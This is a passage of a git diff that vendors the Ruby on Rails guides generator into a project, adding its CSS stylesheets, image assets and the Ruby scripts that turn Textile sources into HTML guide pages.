+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+    margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+    margin-bottom: 0px;
+}
diff --git a/vendor/rails/railties/guides/files/stylesheets/print.css b/vendor/rails/railties/guides/files/stylesheets/print.css
new file mode 100755
index 00000000..628da105
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+  background: #FFF;
+  font-size: 10pt !important;
+  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+  color: #000;
+  padding: 0 3%;
+  }
+
+.hide, .nav {
+  display: none !important;
+  }
+
+a:link, a:visited {
+  background: transparent;
+  font-weight: bold;
+  text-decoration: underline;
+  }
+
+hr {
+  background:#ccc;
+  color:#ccc;
+  width:100%;
+  height:2px;
+  margin:2em 0;
+  padding:0;
+  border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; }
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+  margin:1.5em;
+  padding:1em;
+  font-style:italic;
+  font-size:.9em;
+}
+
+.small  { font-size: .9em; }
+.large  { font-size: 1.1em; }
diff --git a/vendor/rails/railties/guides/files/stylesheets/reset.css b/vendor/rails/railties/guides/files/stylesheets/reset.css
new file mode 100755
index 00000000..cb14fbcc
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+  margin: 0;
+  padding: 0;
+  border: 0;
+  outline: 0;
+  font-size: 100%;
+  background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+  -moz-outline:0;
+  outline:0;
+  outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+  content: '';
+  content: none;
+}
diff --git a/vendor/rails/railties/guides/files/stylesheets/style.css b/vendor/rails/railties/guides/files/stylesheets/style.css
new file mode 100755
index 00000000..89b2ab88
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+@import url("reset.css");
+@import url("main.css");
diff --git a/vendor/rails/railties/guides/files/stylesheets/syntax.css b/vendor/rails/railties/guides/files/stylesheets/syntax.css
new file mode 100644
index 00000000..55fc5b20
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/syntax.css
@@ -0,0 +1,31 @@
+.html .tag {
+	color : green;
+}
+
+.html .doctype {
+  color: #708090;
+}
+
+.erb .tag {
+	color : green;
+}
+
+.erb .doctype {
+  color: #708090;
+}
+
+.ruby .keywords {
+  color : red;
+}
+
+.ruby .ivar {
+  color : blue;
+}
+
+.ruby .comment {
+  color: #708090;
+}
+
+.ruby .symbol {
+ color: green;
+}
diff --git a/vendor/rails/railties/doc/guides/source/images/belongs_to.png b/vendor/rails/railties/guides/images/belongs_to.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/belongs_to.png
rename to vendor/rails/railties/guides/images/belongs_to.png
diff --git a/vendor/rails/railties/guides/images/book_icon.gif b/vendor/rails/railties/guides/images/book_icon.gif
new file mode 100644
index 00000000..c81d5db5
Binary files /dev/null and b/vendor/rails/railties/guides/images/book_icon.gif differ
diff --git a/vendor/rails/railties/doc/guides/source/images/bullet.gif b/vendor/rails/railties/guides/images/bullet.gif
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/bullet.gif
rename to vendor/rails/railties/guides/images/bullet.gif
diff --git a/vendor/rails/railties/guides/images/chapters_icon.gif b/vendor/rails/railties/guides/images/chapters_icon.gif
new file mode 100644
index 00000000..06fb415f
Binary files /dev/null and b/vendor/rails/railties/guides/images/chapters_icon.gif differ
diff --git a/vendor/rails/railties/guides/images/check_bullet.gif b/vendor/rails/railties/guides/images/check_bullet.gif
new file mode 100644
index 00000000..1fcfeba2
Binary files /dev/null and b/vendor/rails/railties/guides/images/check_bullet.gif differ
diff --git a/vendor/rails/railties/guides/images/credits_pic_blank.gif b/vendor/rails/railties/guides/images/credits_pic_blank.gif
new file mode 100644
index 00000000..f6f654fc
Binary files /dev/null and b/vendor/rails/railties/guides/images/credits_pic_blank.gif differ
diff --git a/vendor/rails/railties/doc/guides/source/images/csrf.png b/vendor/rails/railties/guides/images/csrf.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/csrf.png
rename to vendor/rails/railties/guides/images/csrf.png
diff --git a/vendor/rails/railties/guides/images/customized_error_messages.png b/vendor/rails/railties/guides/images/customized_error_messages.png
new file mode 100644
index 00000000..fa676991
Binary files /dev/null and b/vendor/rails/railties/guides/images/customized_error_messages.png differ
diff --git a/vendor/rails/railties/guides/images/error_messages.png b/vendor/rails/railties/guides/images/error_messages.png
new file mode 100644
index 00000000..42889219
Binary files /dev/null and b/vendor/rails/railties/guides/images/error_messages.png differ
diff --git a/vendor/rails/railties/guides/images/feature_tile.gif b/vendor/rails/railties/guides/images/feature_tile.gif
new file mode 100644
index 00000000..75469361
Binary files /dev/null and b/vendor/rails/railties/guides/images/feature_tile.gif differ
diff --git a/vendor/rails/railties/guides/images/footer_tile.gif b/vendor/rails/railties/guides/images/footer_tile.gif
new file mode 100644
index 00000000..bb33fc1f
Binary files /dev/null and b/vendor/rails/railties/guides/images/footer_tile.gif differ
diff --git a/vendor/rails/railties/guides/images/fxn.jpg b/vendor/rails/railties/guides/images/fxn.jpg
new file mode 100644
index 00000000..b661a0e4
Binary files /dev/null and b/vendor/rails/railties/guides/images/fxn.jpg differ
diff --git a/vendor/rails/railties/guides/images/grey_bullet.gif b/vendor/rails/railties/guides/images/grey_bullet.gif
new file mode 100644
index 00000000..e75e8e93
Binary files /dev/null and b/vendor/rails/railties/guides/images/grey_bullet.gif differ
diff --git a/vendor/rails/railties/doc/guides/source/images/habtm.png b/vendor/rails/railties/guides/images/habtm.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/habtm.png
rename to vendor/rails/railties/guides/images/habtm.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_many.png b/vendor/rails/railties/guides/images/has_many.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_many.png
rename to vendor/rails/railties/guides/images/has_many.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_many_through.png b/vendor/rails/railties/guides/images/has_many_through.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_many_through.png
rename to vendor/rails/railties/guides/images/has_many_through.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_one.png b/vendor/rails/railties/guides/images/has_one.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_one.png
rename to vendor/rails/railties/guides/images/has_one.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_one_through.png b/vendor/rails/railties/guides/images/has_one_through.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_one_through.png
rename to vendor/rails/railties/guides/images/has_one_through.png
diff --git a/vendor/rails/railties/doc/guides/source/images/header_backdrop.png b/vendor/rails/railties/guides/images/header_backdrop.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/header_backdrop.png
rename to vendor/rails/railties/guides/images/header_backdrop.png
diff --git a/vendor/rails/railties/guides/images/header_tile.gif b/vendor/rails/railties/guides/images/header_tile.gif
new file mode 100644
index 00000000..e2c878d4
Binary files /dev/null and b/vendor/rails/railties/guides/images/header_tile.gif differ
diff --git a/vendor/rails/railties/guides/images/i18n/demo_localized_pirate.png b/vendor/rails/railties/guides/images/i18n/demo_localized_pirate.png
new file mode 100644
index 00000000..91347095
Binary files /dev/null and b/vendor/rails/railties/guides/images/i18n/demo_localized_pirate.png differ
diff --git a/vendor/rails/railties/guides/images/i18n/demo_translated_en.png b/vendor/rails/railties/guides/images/i18n/demo_translated_en.png
new file mode 100644
index 00000000..ecdd878d
Binary files /dev/null and b/vendor/rails/railties/guides/images/i18n/demo_translated_en.png differ
diff --git a/vendor/rails/railties/guides/images/i18n/demo_translated_pirate.png b/vendor/rails/railties/guides/images/i18n/demo_translated_pirate.png
new file mode 100644
index 00000000..41c58092
Binary files /dev/null and b/vendor/rails/railties/guides/images/i18n/demo_translated_pirate.png differ
diff --git a/vendor/rails/railties/guides/images/i18n/demo_translation_missing.png b/vendor/rails/railties/guides/images/i18n/demo_translation_missing.png
new file mode 100644
index 00000000..af9e2d04
Binary files /dev/null and b/vendor/rails/railties/guides/images/i18n/demo_translation_missing.png differ
diff --git a/vendor/rails/railties/guides/images/i18n/demo_untranslated.png b/vendor/rails/railties/guides/images/i18n/demo_untranslated.png
new file mode 100644
index 00000000..3603f434
Binary files /dev/null and b/vendor/rails/railties/guides/images/i18n/demo_untranslated.png differ
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/README b/vendor/rails/railties/guides/images/icons/README
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/README
rename to vendor/rails/railties/guides/images/icons/README
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png b/vendor/rails/railties/guides/images/icons/callouts/1.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png
rename to vendor/rails/railties/guides/images/icons/callouts/1.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png b/vendor/rails/railties/guides/images/icons/callouts/10.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png
rename to vendor/rails/railties/guides/images/icons/callouts/10.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png b/vendor/rails/railties/guides/images/icons/callouts/11.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png
rename to vendor/rails/railties/guides/images/icons/callouts/11.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png b/vendor/rails/railties/guides/images/icons/callouts/12.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png
rename to vendor/rails/railties/guides/images/icons/callouts/12.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png b/vendor/rails/railties/guides/images/icons/callouts/13.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png
rename to vendor/rails/railties/guides/images/icons/callouts/13.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png b/vendor/rails/railties/guides/images/icons/callouts/14.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png
rename to vendor/rails/railties/guides/images/icons/callouts/14.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png b/vendor/rails/railties/guides/images/icons/callouts/15.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png
rename to vendor/rails/railties/guides/images/icons/callouts/15.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png b/vendor/rails/railties/guides/images/icons/callouts/2.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png
rename to vendor/rails/railties/guides/images/icons/callouts/2.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png b/vendor/rails/railties/guides/images/icons/callouts/3.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png
rename to vendor/rails/railties/guides/images/icons/callouts/3.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png b/vendor/rails/railties/guides/images/icons/callouts/4.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png
rename to vendor/rails/railties/guides/images/icons/callouts/4.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png b/vendor/rails/railties/guides/images/icons/callouts/5.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png
rename to vendor/rails/railties/guides/images/icons/callouts/5.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png b/vendor/rails/railties/guides/images/icons/callouts/6.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png
rename to vendor/rails/railties/guides/images/icons/callouts/6.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png b/vendor/rails/railties/guides/images/icons/callouts/7.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png
rename to vendor/rails/railties/guides/images/icons/callouts/7.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png b/vendor/rails/railties/guides/images/icons/callouts/8.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png
rename to vendor/rails/railties/guides/images/icons/callouts/8.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png b/vendor/rails/railties/guides/images/icons/callouts/9.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png
rename to vendor/rails/railties/guides/images/icons/callouts/9.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/caution.png b/vendor/rails/railties/guides/images/icons/caution.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/caution.png
rename to vendor/rails/railties/guides/images/icons/caution.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/example.png b/vendor/rails/railties/guides/images/icons/example.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/example.png
rename to vendor/rails/railties/guides/images/icons/example.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/home.png b/vendor/rails/railties/guides/images/icons/home.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/home.png
rename to vendor/rails/railties/guides/images/icons/home.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/important.png b/vendor/rails/railties/guides/images/icons/important.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/important.png
rename to vendor/rails/railties/guides/images/icons/important.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/next.png b/vendor/rails/railties/guides/images/icons/next.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/next.png
rename to vendor/rails/railties/guides/images/icons/next.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/note.png b/vendor/rails/railties/guides/images/icons/note.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/note.png
rename to vendor/rails/railties/guides/images/icons/note.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/prev.png b/vendor/rails/railties/guides/images/icons/prev.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/prev.png
rename to vendor/rails/railties/guides/images/icons/prev.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/tip.png b/vendor/rails/railties/guides/images/icons/tip.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/tip.png
rename to vendor/rails/railties/guides/images/icons/tip.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/up.png b/vendor/rails/railties/guides/images/icons/up.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/up.png
rename to vendor/rails/railties/guides/images/icons/up.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/warning.png b/vendor/rails/railties/guides/images/icons/warning.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/warning.png
rename to vendor/rails/railties/guides/images/icons/warning.png
diff --git a/vendor/rails/railties/guides/images/nav_arrow.gif b/vendor/rails/railties/guides/images/nav_arrow.gif
new file mode 100644
index 00000000..c4f57658
Binary files /dev/null and b/vendor/rails/railties/guides/images/nav_arrow.gif differ
diff --git a/vendor/rails/railties/doc/guides/source/images/polymorphic.png b/vendor/rails/railties/guides/images/polymorphic.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/polymorphic.png
rename to vendor/rails/railties/guides/images/polymorphic.png
diff --git a/vendor/rails/railties/guides/images/posts_index.png b/vendor/rails/railties/guides/images/posts_index.png
new file mode 100644
index 00000000..50e956e8
Binary files /dev/null and b/vendor/rails/railties/guides/images/posts_index.png differ
diff --git a/vendor/rails/railties/guides/images/rails_guides_logo.gif b/vendor/rails/railties/guides/images/rails_guides_logo.gif
new file mode 100644
index 00000000..a24683a3
Binary files /dev/null and b/vendor/rails/railties/guides/images/rails_guides_logo.gif differ
diff --git a/vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif b/vendor/rails/railties/guides/images/rails_logo_remix.gif
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif
rename to vendor/rails/railties/guides/images/rails_logo_remix.gif
diff --git a/vendor/rails/railties/guides/images/rails_welcome.png b/vendor/rails/railties/guides/images/rails_welcome.png
new file mode 100644
index 00000000..7e02ce50
Binary files /dev/null and b/vendor/rails/railties/guides/images/rails_welcome.png differ
diff --git a/vendor/rails/railties/doc/guides/source/images/session_fixation.png b/vendor/rails/railties/guides/images/session_fixation.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/session_fixation.png
rename to vendor/rails/railties/guides/images/session_fixation.png
diff --git a/vendor/rails/railties/guides/images/tab_grey.gif b/vendor/rails/railties/guides/images/tab_grey.gif
new file mode 100644
index 00000000..e9680b71
Binary files /dev/null and b/vendor/rails/railties/guides/images/tab_grey.gif differ
diff --git a/vendor/rails/railties/guides/images/tab_info.gif b/vendor/rails/railties/guides/images/tab_info.gif
new file mode 100644
index 00000000..458fea9a
Binary files /dev/null and b/vendor/rails/railties/guides/images/tab_info.gif differ
diff --git a/vendor/rails/railties/guides/images/tab_note.gif b/vendor/rails/railties/guides/images/tab_note.gif
new file mode 100644
index 00000000..1d5c171e
Binary files /dev/null and b/vendor/rails/railties/guides/images/tab_note.gif differ
diff --git a/vendor/rails/railties/guides/images/tab_red.gif b/vendor/rails/railties/guides/images/tab_red.gif
new file mode 100644
index 00000000..daf140b5
Binary files /dev/null and b/vendor/rails/railties/guides/images/tab_red.gif differ
diff --git a/vendor/rails/railties/guides/images/tab_yellow.gif b/vendor/rails/railties/guides/images/tab_yellow.gif
new file mode 100644
index 00000000..dc961c99
Binary files /dev/null and b/vendor/rails/railties/guides/images/tab_yellow.gif differ
diff --git a/vendor/rails/railties/guides/images/tab_yellow.png b/vendor/rails/railties/guides/images/tab_yellow.png
new file mode 100644
index 00000000..cceea658
Binary files /dev/null and b/vendor/rails/railties/guides/images/tab_yellow.png differ
diff --git a/vendor/rails/railties/guides/images/validation_error_messages.png b/vendor/rails/railties/guides/images/validation_error_messages.png
new file mode 100644
index 00000000..622d35da
Binary files /dev/null and b/vendor/rails/railties/guides/images/validation_error_messages.png differ
diff --git a/vendor/rails/railties/guides/rails_guides.rb b/vendor/rails/railties/guides/rails_guides.rb
new file mode 100644
index 00000000..b73e10e4
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides.rb
@@ -0,0 +1,42 @@
+pwd = File.dirname(__FILE__)
+$: << pwd
+
+begin
+  as_lib = File.join(pwd, "../../activesupport/lib")
+  ap_lib = File.join(pwd, "../../actionpack/lib")
+
+  $: << as_lib if File.directory?(as_lib)
+  $: << ap_lib if File.directory?(ap_lib)
+  
+  require "action_controller"
+  require "action_view"
+rescue LoadError
+  require 'rubygems'
+  gem "actionpack", '>= 2.3'
+
+  require "action_controller"
+  require "action_view"
+end
+
+begin
+  require 'rubygems'
+  gem 'RedCloth', '>= 4.1.1'
+rescue Gem::LoadError
+  $stderr.puts %(Generating Guides requires RedCloth 4.1.1+)
+  exit 1
+end
+
+require 'redcloth'
+
+module RailsGuides
+  autoload :Generator, "rails_guides/generator"
+  autoload :Indexer, "rails_guides/indexer"
+  autoload :Helpers, "rails_guides/helpers"
+  autoload :TextileExtensions, "rails_guides/textile_extensions"
+end
+
+RedCloth.send(:include, RailsGuides::TextileExtensions)
+
+if $0 == __FILE__
+  RailsGuides::Generator.new.generate
+end
diff --git a/vendor/rails/railties/guides/rails_guides/generator.rb b/vendor/rails/railties/guides/rails_guides/generator.rb
new file mode 100644
index 00000000..6c0d9f3c
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/generator.rb
@@ -0,0 +1,138 @@
+require 'set'
+
+module RailsGuides
+  class Generator
+    attr_reader :output, :view_path, :view, :guides_dir
+
+    def initialize(output = nil)
+      @guides_dir = File.join(File.dirname(__FILE__), '..')
+
+      @output = output || File.join(@guides_dir, "output")
+
+      unless ENV["ONLY"]
+        FileUtils.rm_r(@output) if File.directory?(@output)
+        FileUtils.mkdir(@output)
+      end
+
+      @view_path = File.join(@guides_dir, "source")
+    end
+
+    def generate
+      guides = Dir.entries(view_path).find_all {|g| g =~ /textile$/ }
+
+      if ENV["ONLY"]
+        only = ENV["ONLY"].split(",").map{|x| x.strip }.map {|o| "#{o}.textile" }
+        guides = guides.find_all {|g| only.include?(g) }
+        puts "GENERATING ONLY #{guides.inspect}"
+      end
+
+      guides.each do |guide|
+        generate_guide(guide)
+      end
+
+      # Copy images and css files to html directory
+      FileUtils.cp_r File.join(guides_dir, 'images'), File.join(output, 'images')
+      FileUtils.cp_r File.join(guides_dir, 'files'), File.join(output, 'files')
+    end
+
+    def generate_guide(guide)
+      guide =~ /(.*?)(\.erb)?\.textile/
+      name = $1
+
+      puts "Generating #{name}"
+
+      file = File.join(output, "#{name}.html")
+      File.open(file, 'w') do |f|
+        @view = ActionView::Base.new(view_path)
+        @view.extend(Helpers)
+
+        if guide =~ /\.erb\.textile/
+          # Generate the erb pages with textile formatting - e.g. index/authors
+          result = view.render(:layout => 'layout', :file => name)
+          f.write textile(result)
+        else
+          body = File.read(File.join(view_path, guide))
+          body = set_header_section(body, @view)
+          body = set_index(body, @view)
+
+          result = view.render(:layout => 'layout', :text => textile(body))
+          f.write result
+        end
+      end
+    end
+
+    def set_header_section(body, view)
+      new_body = body.gsub(/(.*?)endprologue\./m, '').strip
+      header = $1
+
+      header =~ /h2\.(.*)/
+      page_title = $1.strip
+
+      header = textile(header)
+
+      view.content_for(:page_title) { page_title }
+      view.content_for(:header_section) { header }
+      new_body
+    end
+
+    def set_index(body, view)
+      index = <<-INDEX
+      <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+      INDEX
+
+      i = Indexer.new(body)
+      i.index
+
+      # Set index for 2 levels
+      i.level_hash.each do |key, value|
+        link = view.content_tag(:a, :href => key[:id]) { textile(key[:title]) }
+
+        children = value.keys.map do |k|
+          l = view.content_tag(:a, :href => k[:id]) { textile(k[:title]) }
+          view.content_tag(:li, l)
+        end
+
+        children_ul = view.content_tag(:ul, children)
+
+        index << view.content_tag(:li, link + children_ul)
+      end
+
+      index << '</ol>'
+      index << '</div>'
+
+      view.content_for(:index_section) { index }
+
+      i.result
+    end
+
+    def textile(body)
+      # If the issue with notextile is fixed just remove the wrapper.
+      with_workaround_for_notextile(body) do |body|
+        t = RedCloth.new(body)
+        t.hard_breaks = false
+        t.to_html(:notestuff, :plusplus, :code, :tip)
+      end
+    end
+
+    # For some reason the notextile tag does not always turn off textile. See
+    # LH ticket of the security guide (#7). As a temporary workaround we deal
+    # with code blocks by hand.
+    def with_workaround_for_notextile(body)
+      code_blocks = []
+      body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
+        es = ERB::Util.h($2)
+        css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
+        code_blocks << %{<div class="code_container"><code class="#{css_class}">#{es}</code></div>}
+        "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n"
+      end
+      
+      body = yield body
+      
+      body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_|
+        code_blocks[$1.to_i]
+      end
+    end
+  end
+end
diff --git a/vendor/rails/railties/guides/rails_guides/helpers.rb b/vendor/rails/railties/guides/rails_guides/helpers.rb
new file mode 100644
index 00000000..e05793d4
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/helpers.rb
@@ -0,0 +1,34 @@
+module RailsGuides
+  module Helpers
+    def guide(name, url, options = {}, &block)
+      link = content_tag(:a, :href => url) { name }
+      result = content_tag(:dt, link)
+
+      if ticket = options[:ticket]
+        result << content_tag(:dd, lh(ticket), :class => 'ticket')
+      end
+
+      result << content_tag(:dd, capture(&block))
+      concat(result)
+    end
+
+    def lh(id, label = "Lighthouse Ticket")
+      url = "http://rails.lighthouseapp.com/projects/16213/tickets/#{id}"
+      content_tag(:a, label, :href => url)
+    end
+
+    def author(name, nick, image = 'credits_pic_blank.gif', &block)
+      image = "images/#{image}"
+
+      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name)
+      result << content_tag(:h3, name)
+      result << content_tag(:p, capture(&block))
+      concat content_tag(:div, result, :class => 'clearfix', :id => nick)
+    end
+
+    def code(&block)
+      c = capture(&block)
+      content_tag(:code, c)
+    end
+  end
+end
diff --git a/vendor/rails/railties/guides/rails_guides/indexer.rb b/vendor/rails/railties/guides/rails_guides/indexer.rb
new file mode 100644
index 00000000..5b5ad3fe
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/indexer.rb
@@ -0,0 +1,55 @@
+module RailsGuides
+  class Indexer
+    attr_reader :body, :result, :level_hash
+
+    def initialize(body)
+      @body = body
+      @result = @body.dup
+    end
+
+    def index
+      @level_hash = process(body)
+    end
+
+    private
+
+    def process(string, current_level= 3, counters = [1])
+      s = StringScanner.new(string)
+
+      level_hash = ActiveSupport::OrderedHash.new
+
+      while !s.eos?
+        s.match?(/\h[0-9]\..*$/)
+        if matched = s.matched
+          matched =~ /\h([0-9])\.(.*)$/
+          level, title = $1.to_i, $2
+
+          if level < current_level
+            # This is needed. Go figure.
+            return level_hash
+          elsif level == current_level
+            index = counters.join(".")
+            bookmark = '#' + title.strip.downcase.gsub(/\s+|_/, '-').delete('^a-z0-9-')
+
+            raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{bookmark}). #{index}#{title}")
+
+            key = {
+              :title => title,
+              :id => bookmark
+            }
+            # Recurse
+            counters << 1
+            level_hash[key] = process(s.post_match, current_level + 1, counters)
+            counters.pop
+
+            # Increment the current level
+            last = counters.pop
+            counters << last + 1
+          end
+        end
+        s.getch
+      end
+      level_hash
+    end
+  end
+end
diff --git a/vendor/rails/railties/guides/rails_guides/textile_extensions.rb b/vendor/rails/railties/guides/rails_guides/textile_extensions.rb
new file mode 100644
index 00000000..b22be575
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/textile_extensions.rb
@@ -0,0 +1,41 @@
+module RailsGuides
+  module TextileExtensions
+    def notestuff(body)
+      body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)(?:\.|\:)(.*)$/) do |m|
+        css_class = $1.downcase
+        css_class = 'warning' if ['caution', 'important'].include?(css_class)
+
+        result = "<div class='#{css_class}'><p>"
+        result << $2.strip
+        result << '</p></div>'
+        result
+      end
+    end
+
+    def tip(body)
+      body.gsub!(/^(TIP)\:(.*)$/) do |m|
+        result = "<div class='info'><p>"
+        result << $2.strip
+        result << '</p></div>'
+        result
+      end
+    end
+
+    def plusplus(body)
+      body.gsub!(/\+(.*?)\+/) do |m|
+        "<notextile><tt>#{$1}</tt></notextile>"
+      end
+
+      # The real plus sign
+      body.gsub!('<plus>', '+')
+    end
+
+    def code(body)
+      body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
+        es = ERB::Util.h($2)
+        css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
+        %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>}
+      end
+    end
+  end
+end
diff --git a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt b/vendor/rails/railties/guides/source/2_2_release_notes.textile
similarity index 61%
rename from vendor/rails/railties/doc/guides/source/2_2_release_notes.txt
rename to vendor/rails/railties/guides/source/2_2_release_notes.textile
index 2f1a7ebb..f60af010 100644
--- a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt
+++ b/vendor/rails/railties/guides/source/2_2_release_notes.textile
